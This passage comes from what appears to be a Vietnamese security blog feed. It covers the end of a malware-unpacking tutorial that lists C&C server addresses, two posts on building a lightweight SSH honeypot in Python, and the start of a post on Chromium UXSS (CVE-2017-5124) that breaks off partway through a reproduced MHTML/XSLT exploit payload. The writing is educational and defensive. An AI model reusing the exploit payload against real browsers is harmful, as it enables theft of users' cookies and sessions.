  <li>Cấp phát và Giải mã một file PE được nhúng trong chương trình vào một vùng nhớ</li>
  <li>Resolve các địa chỉ API sẽ được sử dụng</li>
  <li>Thực thi entrypoint của file PE</li>
</ul>

<p>Quá trình cấp phát và giải mã file thực thi cũng giống như các loader bình thường, tuy nhiên khi resolve địa chỉ các API, loader này đã bỏ đi tất cả các trường quan trọng trong file PE. Chúng ta không có header của file PE để có thể dump file xuống đĩa và phân tích như mọi khi. Chúng ta sẽ làm gì khi không có header??</p>

<p>Như thường lệ, khi đến được entrypoint của chương trình, tôi dùng x64dbg để dump memory xuống bộ nhớ. Có một lưu ý rằng mẫu này cấp phát tới 0x899400 bytes cho file PE mới. Lưu ý, trong bài viết của tôi, vùng nhớ được cấp phát là <code class="language-plaintext highlighter-rouge">0x800000</code>.</p>

<p><img src="/assets/2019/03/logo_dump1.PNG" alt="Giải mã dữ liệu" /></p>

<p>Khi phân tích kĩ một chút, chúng ta nhận thấy loader bỏ qua 0x4E0000 bytes đầu tiên của vùng nhớ này (Chả hiểu để làm gì?).</p>

<p><img src="/assets/2019/03/logo_dump2.PNG" alt="Giải mã dữ liệu" /></p>

<p><img src="/assets/2019/03/logo_dump3.PNG" alt="Giải mã dữ liệu" /></p>

<p>Như tôi đã nói, các trường quan trọng bị xóa hết thông tin, chúng ta không có đủ thông tin để khôi phục file này.</p>

<p><img src="/assets/2019/03/logo_dump4.PNG" alt="Giải mã dữ liệu" /></p>

<p><img src="/assets/2019/03/logo_dump5.PNG" alt="Giải mã dữ liệu" /></p>

<h4 id="rebuild-lại-file">Rebuild lại file</h4>
<p>Chúng ta có 1 thông tin duy nhất: Imagebase = 0x800000 + 0x4E0000 = 0xCE0000.</p>

<p>Nếu để ý 1 chút, chúng ta có thể coi toàn bộ file PE này là 1 section. Do đó chúng ta có thể tạo một section cho file PE này như sau.</p>

<p><code class="language-plaintext highlighter-rouge">NumberOfSections = 1</code></p>

<p><img src="/assets/2019/03/logo_dump6.PNG" alt="Giải mã dữ liệu" /></p>

<p>Bước tiếp theo là fix bảng IAT, tôi sử dụng Scylla : https://github.com/NtQuery/Scylla</p>

<p>Sau khi điền đúng OEP tôi tìm thấy, Scylla lấy lại gần như toàn bộ bảng IAT của mã độc. Có 1 số hàm mà Scylla không resolve được, chúng ta cần fix lại cẩn thận bằng tay bằng chức năng <code class="language-plaintext highlighter-rouge">Disassemble</code> của Scylla.</p>

<p><img src="/assets/2019/03/logo_dump7.PNG" alt="Fix IAT" /></p>

<p>Có một lưu ý nhỏ: Các malware sử dụng PE Loader sẽ có 1 số ảnh hưởng như sau:</p>
<ul>
  <li>Nếu malware sử dụng các hàm dạng <code class="language-plaintext highlighter-rouge">GetModuleHandle</code> với tham số NULL (cả 2 version Ansi và Unicode) đều bị lỗi do hàm này trả về module handle của file ban đầu, không phải file mới được load.</li>
  <li>Handle của file mới được load sẽ không được hệ thống quản lý.</li>
</ul>

<p>Do đó, malware sẽ phải tự viết hàm <code class="language-plaintext highlighter-rouge">GetModuleHandle</code> và điền vào bảng IAT. Chúng ta có thể nhìn thấy rõ đoạn kiểm tra: Nếu tham số đầu vào là NULL, hàm sẽ trả về địa chỉ 0xCE0000, chính là imagebase của chúng ta.</p>

<p><img src="/assets/2019/03/logo_dump8.PNG" alt="Fix IAT" /></p>

<p>Sau khi resolve được đầy đủ các API</p>

<p><img src="/assets/2019/03/logo_dump9.PNG" alt="Fix IAT" /></p>

<p>Cuối cùng, chúng ta fix lại vào file đã dump ra ban đầu. Lưu ý là Scylla không cho chúng ta sửa imagebase, do đó chúng ta sẽ phải sửa lại các địa chỉ RVA cho hợp lý.</p>

<p><img src="/assets/2019/03/logo_dump10.PNG" alt="Fix IAT" /></p>

<p>Do imagebase không chuẩn nên phải chỉnh lại:</p>

<p><img src="/assets/2019/03/logo_dump11.PNG" alt="Fix IAT" /></p>

<p>Đây là lớp cuối trong toàn bộ các lớp mã hóa nhằm bảo vệ file.</p>

<h3 id="bonus-cc-server">Bonus: C&amp;C Server</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>cdn.arlialter.com:8888
cdn.arlialter.com:8531
var.alieras.com:8531
fbcn.enantor.com:8531
fbcn.enantor.com:8888
ww1.erabend.com:8888
var.alieras.com:8888
ww1.erabend.com:8531
</pre></td></tr></tbody></table></code></pre></div></div>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="malware" /><summary type="html"><![CDATA[Các dòng malware hiện nay rất ít khi dùng các packer phổ biến, thay vào đó là các packer tự phát triển nhằm tránh sự phát hiện của các phần mềm bảo vệ máy tính người dùng. Bài viết mô tả một cách làm để unpack các mẫu mã độc hại bị mã hóa nhiều lớp. Chi tiết về các hành vi của malware sẽ được mô tả trong một bài viết khác.]]></summary></entry><entry><title type="html">Lightweight SSH Honeypot (part 2)</title><link href="https://develbranch.com/tutorials/lightweight-ssh-honeypot-2.html" rel="alternate" type="text/html" title="Lightweight SSH Honeypot (part 2)" /><published>2018-05-23T17:00:00+00:00</published><updated>2018-05-23T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/lightweight-ssh-honeypot-2</id><content type="html" xml:base="https://develbranch.com/tutorials/lightweight-ssh-honeypot-2.html"><![CDATA[<h2 id="giới-thiệu">Giới thiệu</h2>
<p>Trong bài viết trước <a href="https://develbranch.com/tutorials/lightweight-ssh-honeypot.html">Lightweight SSH Honeypot</a>, tôi đã mô tả về một dự án cho phép tôi xác định các máy tính đang bruteforce dịch vụ SSH trên thế giới. Tuy nhiên, có một số bạn đã inbox cho fanpage của tôi và mong muốn tôi viết rõ hơn, chi tiết hơn về các thứ mà tôi đã làm. Bài viết này tôi sẽ mô tả cụ thể phương pháp tôi đã làm cũng như đưa các đoạn chương trình tôi thực hiện để có thể hoạt động được.</p>

<h2 id="phát-hiện-những-ip-đang-thực-hiện-bruteforce">Phát hiện những IP đang thực hiện bruteforce</h2>
<h3 id="sử-dụng-phương-pháp-kiểm-tra-các-kết-nối-đang-mở-bằng-netstat">Sử dụng phương pháp kiểm tra các kết nối đang mở bằng netstat</h3>
<p><em>netstat</em> là một tiện ích của linux cho phép chúng ta liệt kê tất cả các thông tin liên quan tới các kết nối tới máy tính. Chúng ta có thể kiểm tra các kết nối đang bruteforce tới máy tính bằng lệnh:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>netstat -nat |  grep -v LISTEN | grep ":22"
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Lệnh này sẽ liệt kê tất cả các kết nối TCP, lọc ra các kết nối tới cổng 22 (cổng mặc định của dịch vụ SSH). Do các máy bruteforce thường chỉ kết nối tới cổng mặc định nên các thao tác này đã khá đủ.</p>

<h3 id="sử-dụng-phương-pháp-kiểm-tra-log-authlog">Sử dụng phương pháp kiểm tra log auth.log</h3>
<p><em>“auth.log”</em> là log chứa các thông tin khi có người dùng đăng nhập vào hệ thống. Đăng nhập thông qua SSH cũng sẽ được lưu vào đây. Chúng ta có thể kiểm tra các thông tin này bằng một lệnh đơn giản sau:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>cat /var/log/auth.log | grep "authentication failures" | grep "rhost" | more
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Lệnh này sẽ liệt kê toàn bộ các lượt đăng nhập sai (hoặc sai tên hoặc sai mật khẩu) thông qua SSH, và có kèm cả ngày giờ đăng nhập.</p>

<h2 id="xây-dựng-chương-trình-giả-lập-ssh-server">Xây dựng chương trình giả lập SSH server</h2>
<p>Như đã trình bày trong bài viết trước, tôi có rất nhiều lựa chọn từ các dự án mã nguồn mở: <a href="https://github.com/desaster/kippo">Kippo</a> hoặc <a href="http://kojoney.sourceforge.net/">Kojoney</a>. Trong dự án này, tôi đã tự xây dựng hệ thống cho riêng mình dựa trên Twisted với thư viện Conch SSH. Các bước tôi làm như sau:</p>
<ul>
  <li>Chỉnh sửa thư viện Conch của Twisted để tôi có thể ghi nhận các thông tin đăng nhập. Tôi sẽ đi chi tiết mục này do đây là phần khó nhất. 2 phần còn lại rất đơn giản, tôi chỉ sẽ không đi vào chi tiết. Khi có dữ liệu, việc hiển thị chỉ là thứ yếu.</li>
  <li>Lưu lại các thông tin đăng nhập vào database để có thể tra cứu về sau.</li>
  <li>Xây dựng một web đơn giản cho phép hiển thị các thông tin đã ghi nhận được và đánh dấu trên bản đồ.</li>
</ul>

<h3 id="chỉnh-sửa-conch">Chỉnh sửa Conch</h3>
<p>Thư viện Conch khá hoàn thiện, cho phép chúng ta xây dựng SSH server với đầy đủ các mô tả của giao thức SSH2. Tuy nhiên, chúng ta chỉ cần ghi nhận địa chỉ của máy thực hiện bruteforce, username và password là đủ. Chúng ta chưa cần phải thực hiện giả lập các thao tác sau khi hacker đăng nhập được vào hệ thống. Do đó, chúng ta sẽ <strong>luôn luôn</strong> trả về kết quả <em>đăng nhập không thành công</em>. Để làm điều này, tôi sẽ patch thư hiện Conch của Twisted bằng một lớp mới (<code class="language-plaintext highlighter-rouge">AuthServerWithPeer</code>) của tôi.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="rouge-code"><pre><span class="k">class</span> <span class="nc">AuthServerWithPeer</span><span class="p">(</span><span class="n">userauth</span><span class="p">.</span><span class="n">SSHUserAuthServer</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">auth_password</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">packet</span><span class="p">):</span>
        <span class="n">password</span> <span class="o">=</span> <span class="n">getNS</span><span class="p">(</span><span class="n">packet</span><span class="p">[</span><span class="mi">1</span><span class="p">:])[</span><span class="mi">0</span><span class="p">]</span> <span class="c1"># parse nhận được trong quá trình authentication
</span>
        <span class="c1"># Tạo một Object chứa các thông tin đăng nhập, object này phải phù hợp với interface
</span>        <span class="c1"># của hàm auth_password(). Hoàn toàn không hề có tài liệu mô tả chính xác cho interface này.
</span>        <span class="c1"># credentials.UsernamePassword là một implementation của interface nên tôi kế thừa class này
</span>        <span class="c1"># Để biết được interface này, tôi đã đọc mã nguồn của Conch.
</span>        <span class="c1"># Đây là ưu điểm của các ứng dụng mã nguồn mở do chúng ta luôn có source code của toàn bộ chương trình
</span>        <span class="n">c</span> <span class="o">=</span> <span class="n">UsernamePasswordPeer</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">transport</span><span class="p">.</span><span class="n">getPeer</span><span class="p">())</span> 
        <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">portal</span><span class="p">.</span><span class="n">login</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="bp">None</span><span class="p">,</span> <span class="n">interfaces</span><span class="p">.</span><span class="n">IConchUser</span><span class="p">).</span><span class="n">addErrback</span><span class="p">(</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">_ebPassword</span><span class="p">)</span>

<span class="c1"># khởi tạo một instance của SSHFactory			
</span><span class="n">factory</span> <span class="o">=</span> <span class="n">SSHFactory</span><span class="p">()</span>
<span class="c1"># patch module SSH Authentication mặc định thành AuthServerWithPeer
</span><span class="n">factory</span><span class="p">.</span><span class="n">services</span><span class="p">[</span><span class="sa">b</span><span class="s">'ssh-userauth'</span><span class="p">]</span> <span class="o">=</span> <span class="n">AuthServerWithPeer</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">UsernamePasswordPeer</code> sẽ thực hiện ghi log khi có bất kì yêu cầu đăng nhập nào gửi tới server. Thông qua đọc mã nguồn, tôi biết được phương thức <code class="language-plaintext highlighter-rouge">requestAvatarId</code> sẽ nhận thông tin đăng nhập. Tôi đặt code ghi log vào đó.</p>

<p>Toàn bộ code của quá trình như sau:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
</pre></td><td class="rouge-code"><pre><span class="o">@</span><span class="n">implementer</span><span class="p">(</span><span class="n">ICredentialsChecker</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">UsernamePasswordLogger</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
    <span class="s">"""
    A simple credentials logger.
    """</span>

    <span class="n">credentialInterfaces</span> <span class="o">=</span> <span class="p">(</span><span class="n">credentials</span><span class="p">.</span><span class="n">IUsernamePassword</span><span class="p">,</span>
                            <span class="n">credentials</span><span class="p">.</span><span class="n">IUsernameHashedPassword</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">requestAvatarId</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">user_cred</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">write_log</span><span class="p">(</span><span class="n">user_cred</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">defer</span><span class="p">.</span><span class="n">fail</span><span class="p">(</span><span class="n">error</span><span class="p">.</span><span class="n">LoginFailed</span><span class="p">())</span>

    <span class="o">@</span><span class="nb">staticmethod</span>
    <span class="k">def</span> <span class="nf">write_log</span><span class="p">(</span><span class="n">cred</span><span class="p">):</span>
        <span class="c1"># thực hiện ghi log ở đây
</span>        <span class="k">pass</span>


<span class="k">class</span> <span class="nc">UsernamePasswordPeer</span><span class="p">(</span><span class="n">credentials</span><span class="p">.</span><span class="n">UsernamePassword</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">peer</span><span class="p">):</span>
        <span class="n">credentials</span><span class="p">.</span><span class="n">UsernamePassword</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">peer</span> <span class="o">=</span> <span class="n">peer</span>


<span class="k">class</span> <span class="nc">AuthServerWithPeer</span><span class="p">(</span><span class="n">userauth</span><span class="p">.</span><span class="n">SSHUserAuthServer</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">auth_password</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">packet</span><span class="p">):</span>
        <span class="n">password</span> <span class="o">=</span> <span class="n">getNS</span><span class="p">(</span><span class="n">packet</span><span class="p">[</span><span class="mi">1</span><span class="p">:])[</span><span class="mi">0</span><span class="p">]</span>
        <span class="n">c</span> <span class="o">=</span> <span class="n">UsernamePasswordPeer</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">transport</span><span class="p">.</span><span class="n">getPeer</span><span class="p">())</span>
        <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">portal</span><span class="p">.</span><span class="n">login</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="bp">None</span><span class="p">,</span> <span class="n">interfaces</span><span class="p">.</span><span class="n">IConchUser</span><span class="p">).</span><span class="n">addErrback</span><span class="p">(</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">_ebPassword</span><span class="p">)</span>


<span class="k">class</span> <span class="nc">SimpleRealm</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">requestAvatar</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">avatarId</span><span class="p">,</span> <span class="n">mind</span><span class="p">,</span> <span class="o">*</span><span class="n">i</span><span class="p">):</span>
        <span class="n">user</span> <span class="o">=</span> <span class="n">ConchUser</span><span class="p">()</span>
        <span class="n">user</span><span class="p">.</span><span class="n">channelLookup</span><span class="p">[</span><span class="s">'session'</span><span class="p">]</span> <span class="o">=</span> <span class="n">SSHChannel</span>

        <span class="k">def</span> <span class="nf">nothing</span><span class="p">():</span>
            <span class="k">pass</span>

        <span class="k">return</span> <span class="n">interfaces</span><span class="p">.</span><span class="n">IConchUser</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">nothing</span>


<span class="n">factory</span> <span class="o">=</span> <span class="n">SSHFactory</span><span class="p">()</span>
<span class="c1"># patch module SSH Authentication mặc định thành AuthServerWithPeer
</span><span class="n">factory</span><span class="p">.</span><span class="n">services</span><span class="p">[</span><span class="sa">b</span><span class="s">'ssh-userauth'</span><span class="p">]</span> <span class="o">=</span> <span class="n">AuthServerWithPeer</span>
<span class="c1"># sửa thông tin version của SSH cho giống với 1 server thật
</span><span class="n">factory</span><span class="p">.</span><span class="n">protocol</span><span class="p">.</span><span class="n">ourVersionString</span> <span class="o">=</span> <span class="s">'SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4'</span>
<span class="n">factory</span><span class="p">.</span><span class="n">privateKeys</span> <span class="o">=</span> <span class="p">{</span><span class="s">'ssh-rsa'</span><span class="p">:</span> <span class="n">privateKey</span><span class="p">}</span>
<span class="n">factory</span><span class="p">.</span><span class="n">publicKeys</span> <span class="o">=</span> <span class="p">{</span><span class="s">'ssh-rsa'</span><span class="p">:</span> <span class="n">publicKey</span><span class="p">}</span>
<span class="c1"># thiết lập moduli file để khởi tạo cho server, nếu không thiết lập thì sẽ dùng các giá trị mặc định
</span><span class="k">if</span> <span class="n">MODULI_FILE</span><span class="p">:</span>
    <span class="n">factory</span><span class="p">.</span><span class="n">primes</span> <span class="o">=</span> <span class="n">primes</span><span class="p">.</span><span class="n">parseModuliFile</span><span class="p">(</span><span class="n">MODULI_FILE</span><span class="p">)</span>
<span class="n">factory</span><span class="p">.</span><span class="n">portal</span> <span class="o">=</span> <span class="n">Portal</span><span class="p">(</span><span class="n">SimpleRealm</span><span class="p">())</span>
<span class="n">factory</span><span class="p">.</span><span class="n">portal</span><span class="p">.</span><span class="n">registerChecker</span><span class="p">(</span><span class="n">UsernamePasswordLogger</span><span class="p">())</span>
<span class="n">reactor</span><span class="p">.</span><span class="n">listenTCP</span><span class="p">(</span><span class="n">port</span><span class="o">=</span><span class="mi">2022</span><span class="p">,</span> <span class="n">factory</span><span class="o">=</span><span class="n">factory</span><span class="p">)</span>
<span class="n">reactor</span><span class="p">.</span><span class="n">run</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Để tránh chương trình phải chạy với quyền root (do 22 là một cổng privileged port), tôi sẽ lắng nghe ở cổng 2022 sau đó dùng luật iptables để redirect kết nối từ cổng 22 về 2022.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre> iptables -A PREROUTING -t nat  -p tcp -m tcp --dport 22 -j REDIRECT --to-ports 2022
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Một cách phức tạp khác là chúng ta thêm CAP_NET_BIND_SERVICE cho tiến trình lắng nghe.</p>

<h3 id="lưu-các-thông-tin-đăng-nhập">Lưu các thông tin đăng nhập</h3>
<p>Các thông tin đăng nhập có thể kể đến là :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>login_info = { 
                'host': cred.peer.address.host,
                'username': cred.username,
                'password': cred.password,
                'last_update': int(time.time())
            }
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Trong đó:</p>
<ul>
  <li><em>host</em> chứa địa chỉ của máy tính thực hiện bruteforce.</li>
  <li><em>username</em> username đăng nhập.</li>
  <li><em>password</em> password đăng nhập.</li>
  <li><em>last_update</em> Thời gian đăng nhập.</li>
</ul>

<p>Khi có các thông tin này, các bạn có thể sử dụng bất cứ một cơ sở dữ liệu nào để lưu, tôi sử dụng mongodb để lưu lại.</p>

<h3 id="xây-dựng-giao-hiện-hiển-thị">Xây dựng giao hiện hiển thị</h3>
<p>Quá trình xây dựng giao hiện hiển thị khá đơn giản, gồm 2 phần là front-end và back-end</p>
<ul>
  <li><strong>front-end</strong>: Chúng ta cần hiển thị lên một bản đồ. Tôi dùng Google Maps API. Code sử dụng rất đơn giản và có sẵn trên mạng. Ngoài ra chúng ta cần một số bảng thống kê một số thông tin như: máy chủ quét nhiều nhất, cặp username - password được sử dụng nhiều nhất….</li>
  <li><strong>back-end</strong>: Chúng ta cần một webservice để lấy các thông tin và hiển thị lên giao diện. Do tôi sử dụng mongodb nên mọi thứ khá đơn giản khi lấy về danh sách các host đã bruteforce. Tuy nhiên cần lưu ý rằng để thống kê với mongodb thì chúng ta phải tối ưu. Các bạn có thể thấy tuy số lượng bản ghi rất nhiều nhưng quá trình thống kê kết quả của tôi là realtime và tốc độ khá nhanh. Tôi thực hiện điều này bằng cách sử dụng tính năng <code class="language-plaintext highlighter-rouge">aggregate</code> của mongodb. Aggregate của mongodb cho phép chúng ta xây dựng các pipeline để tính các giá trị thống kê. Một số bạn chưa biết tính năng này sẽ query dữ liệu về dưới dạng 1 list hoặc dùng cursor để walk và đếm. Cách đó hoàn toàn không đúng và sẽ làm treo toàn bộ mọi thứ.</li>
</ul>

<h2 id="kết-quả">Kết quả</h2>

<p>Tôi bắt đầu vào ngày 26 tháng 3 và tới nay đã có hơn 495000 lượt bruteforce, từ hơn 1867 ip khác nhau và sử dụng trên 90000 cặp username password. Tôi có đánh dấu tất cả các ip đó trên bản đồ. Để xem chi tiết hơn, các bạn có thể vào đường link bên dưới:</p>

<p>https://develbranch-lsh.herokuapp.com/lsh</p>

<iframe width="100%" height="600px" src="https://develbranch-lsh.herokuapp.com/lsh" frameborder="0" allowfullscreen=""></iframe>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="lsh" /><category term="honeypot" /><summary type="html"><![CDATA[Xây dựng chương trình đánh dấu vị trí của các máy tính đang bruteforce dịch vụ SSH trên thế giới. Phần này tôi sẽ viết chi tiết cách cụ thể tôi thực hiện dự án này.]]></summary></entry><entry><title type="html">Lightweight SSH Honeypot</title><link href="https://develbranch.com/tutorials/lightweight-ssh-honeypot.html" rel="alternate" type="text/html" title="Lightweight SSH Honeypot" /><published>2018-03-30T17:00:00+00:00</published><updated>2018-03-30T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/lightweight-ssh-honeypot</id><content type="html" xml:base="https://develbranch.com/tutorials/lightweight-ssh-honeypot.html"><![CDATA[<h2 id="giới-thiệu">Giới thiệu</h2>
<p>Gần đây, tôi có dựng một VPS để tổ chức CTF. Tôi nhận ra rằng trong lúc setup iptable, tôi nhận được rất nhiều log kết nối tới cổng dịch vụ SSH (22) từ IP trên toàn thế giới. Chẳng có lý do gì để một máy chủ vừa dựng lên, đã có người biết đến nhanh như thế, ngoại trừ những người đó đang dùng các máy tính chuyên để quét cổng dịch vụ SSH (SSH bruteforce).</p>

<p>Chúng ta có nhiều cách để phát hiện những kẻ khó chịu này:</p>
<ul>
  <li>kiểm tra các kết nối đang mở bằng <code class="language-plaintext highlighter-rouge">netstat -ntl</code></li>
  <li>kiểm tra log ssh (auth.log)</li>
  <li>cài đặt suricata</li>
  <li>…</li>
</ul>

<p>Tôi quyết định xem thật sự đang có những tài khoản nào đăng nhập vào dịch vụ SSH của tôi. Tôi dựng một honeypot đơn giản: LSH - Lightweight SSH Honeypot. Có nhiều dự án mã nguồn mở khác tương tự thế này: <a href="https://github.com/desaster/kippo">Kippo</a> hoặc <a href="http://kojoney.sourceforge.net/">Kojoney</a>. Chúng khá phức tạp và nhiều tính năng hay ho. Tôi cần một thứ đơn giản hơn. Tôi dùng Twisted với thư viện Conch SSH. Tôi sử dụng SSHFactory của Conch, chỉnh sửa một chút để tôi có thể ghi lại các thông tin đăng nhập (username và password). Tôi bắt đầu bật service ở cổng 2022, redirect kết nối từ cổng 22 về 2022 do cổng 22 là privileged port. Mọi tiến trình muốn sử dụng privileged port đều phải có quyền root, hoặc chúng ta cần thêm CAP_NET_BIND_SERVICE cho tiến trình lắng nghe. Khi có các thông tin này, tôi sử dụng mongodb để lưu lại. Thật tuyệt vời là có nhiều hãng cung cấp dịch vụ database online như MongoDB Atlas hay mLab. Việc tiếp theo là tôi cần một dịch vụ để có thể deploy toàn bộ code lên đó. Tôi không muốn dựng thêm một dịch vụ gì trên VPS giá $3/tháng của tôi nữa. Tôi chọn heroku app (platform as a service (PaaS)) do tính tiện dụng của nó. Quan trọng hơn, heroku cho phép sử dụng free nếu chúng ta chỉ có một app duy nhất.</p>

<h2 id="kết-quả">Kết quả</h2>

<p>Tôi bắt đầu vào ngày 26 và trong vòng 1 tuần thì có hơn 15000 lượt bruteforce, từ hơn 60 ip khác nhau và sử dụng trên 10000 cặp username password. Tôi có đánh dấu tất cả các ip đó trên bản đồ. Để xem chi tiết hơn, các bạn có thể vào đường link bên dưới:</p>

<p>https://develbranch-lsh.herokuapp.com/lsh</p>

<iframe width="100%" height="600px" src="https://develbranch-lsh.herokuapp.com/lsh" frameborder="0" allowfullscreen=""></iframe>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="lsh" /><category term="honeypot" /><summary type="html"><![CDATA[Xây dựng chương trình đánh dấu vị trí của các máy tính đang bruteforce dịch vụ SSH trên thế giới.]]></summary></entry><entry><title type="html">Chromium Based Browsers are safe or not ? (English version)</title><link href="https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not-english-version.html" rel="alternate" type="text/html" title="Chromium Based Browsers are safe or not ? (English version)" /><published>2017-12-31T17:00:00+00:00</published><updated>2017-12-31T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not-english-version</id><content type="html" xml:base="https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not-english-version.html"><![CDATA[<p>Original post: <a href="https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not.html">https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not.html</a></p>

<p>Recently, the Chromium open source browser (version 62 and below) has a very serious vulnerability. <strong>UXSS with MHTML</strong>, CVE-2017-5124. The exploit code has also been published: https://github.com/Bo0oM/CVE-2017-5124.</p>

<h2 id="what-is-universal-cross-site-scripting-uxss">What is Universal Cross-site Scripting (UXSS)?</h2>
<p>Cross-site scripting (XSS) (https://www.acunetix.com/websitesecurity/cross-site-scripting/) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.</p>

<p>By leveraging XSS, an attacker does not target a victim directly. Instead, an attacker would exploit a vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser.</p>

<p>While XSS can be taken advantage of within VBScript, ActiveX and Flash (although now considered legacy or even obsolete), unquestionably, the most widely abused is JavaScript – primarily because JavaScript is fundamental to most browsing experiences.</p>

<p>Hackers use UXSS to access every open session of the browser: hackers can read the cookies or sessions of opened tabs.</p>

<h1 id="uxss-with-mhtml-cve-2017-5124">UXSS with MHTML (CVE-2017-5124)</h1>
<p>This is a vulnerability in the Chromium when processing <a href="https://en.wikipedia.org/wiki/MHTML">MHTML (HTML)</a>.</p>

<p>MHTML is a text document with a title, content-type (multipart / related), and a content separator (boundary), encoding (can be base64).</p>

<p>In the description of html, we can use <code class="language-plaintext highlighter-rouge">Content-location</code> to determine the source of the data. For example, we write Content-location: https://example.com/abc, which will be loaded from https://example.com/abc and displayed.</p>

<p>For security reasons, all javascript related data is forbidden and can not be executed from another location. This rule is checked everywhere, except for <a href="https://en.wikipedia.org/wiki/XSLT">XSLT</a>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="rouge-code"><pre>MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
CVE-2017-5124

------MultipartBoundary--
Content-Type: application/xml;

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;?xml-stylesheet type="text/xml" href="#stylesheet"?&gt;
&lt;!DOCTYPE catalog [
&lt;!ATTLIST xsl:stylesheet
id ID #REQUIRED&gt;
]&gt;
&lt;xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt;
&lt;xsl:template match="*"&gt;
&lt;html&gt;&lt;iframe style="display:none" src="https://google.com"&gt;&lt;/iframe&gt;&lt;/html&gt;
&lt;/xsl:template&gt;
&lt;/xsl:stylesheet&gt;

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

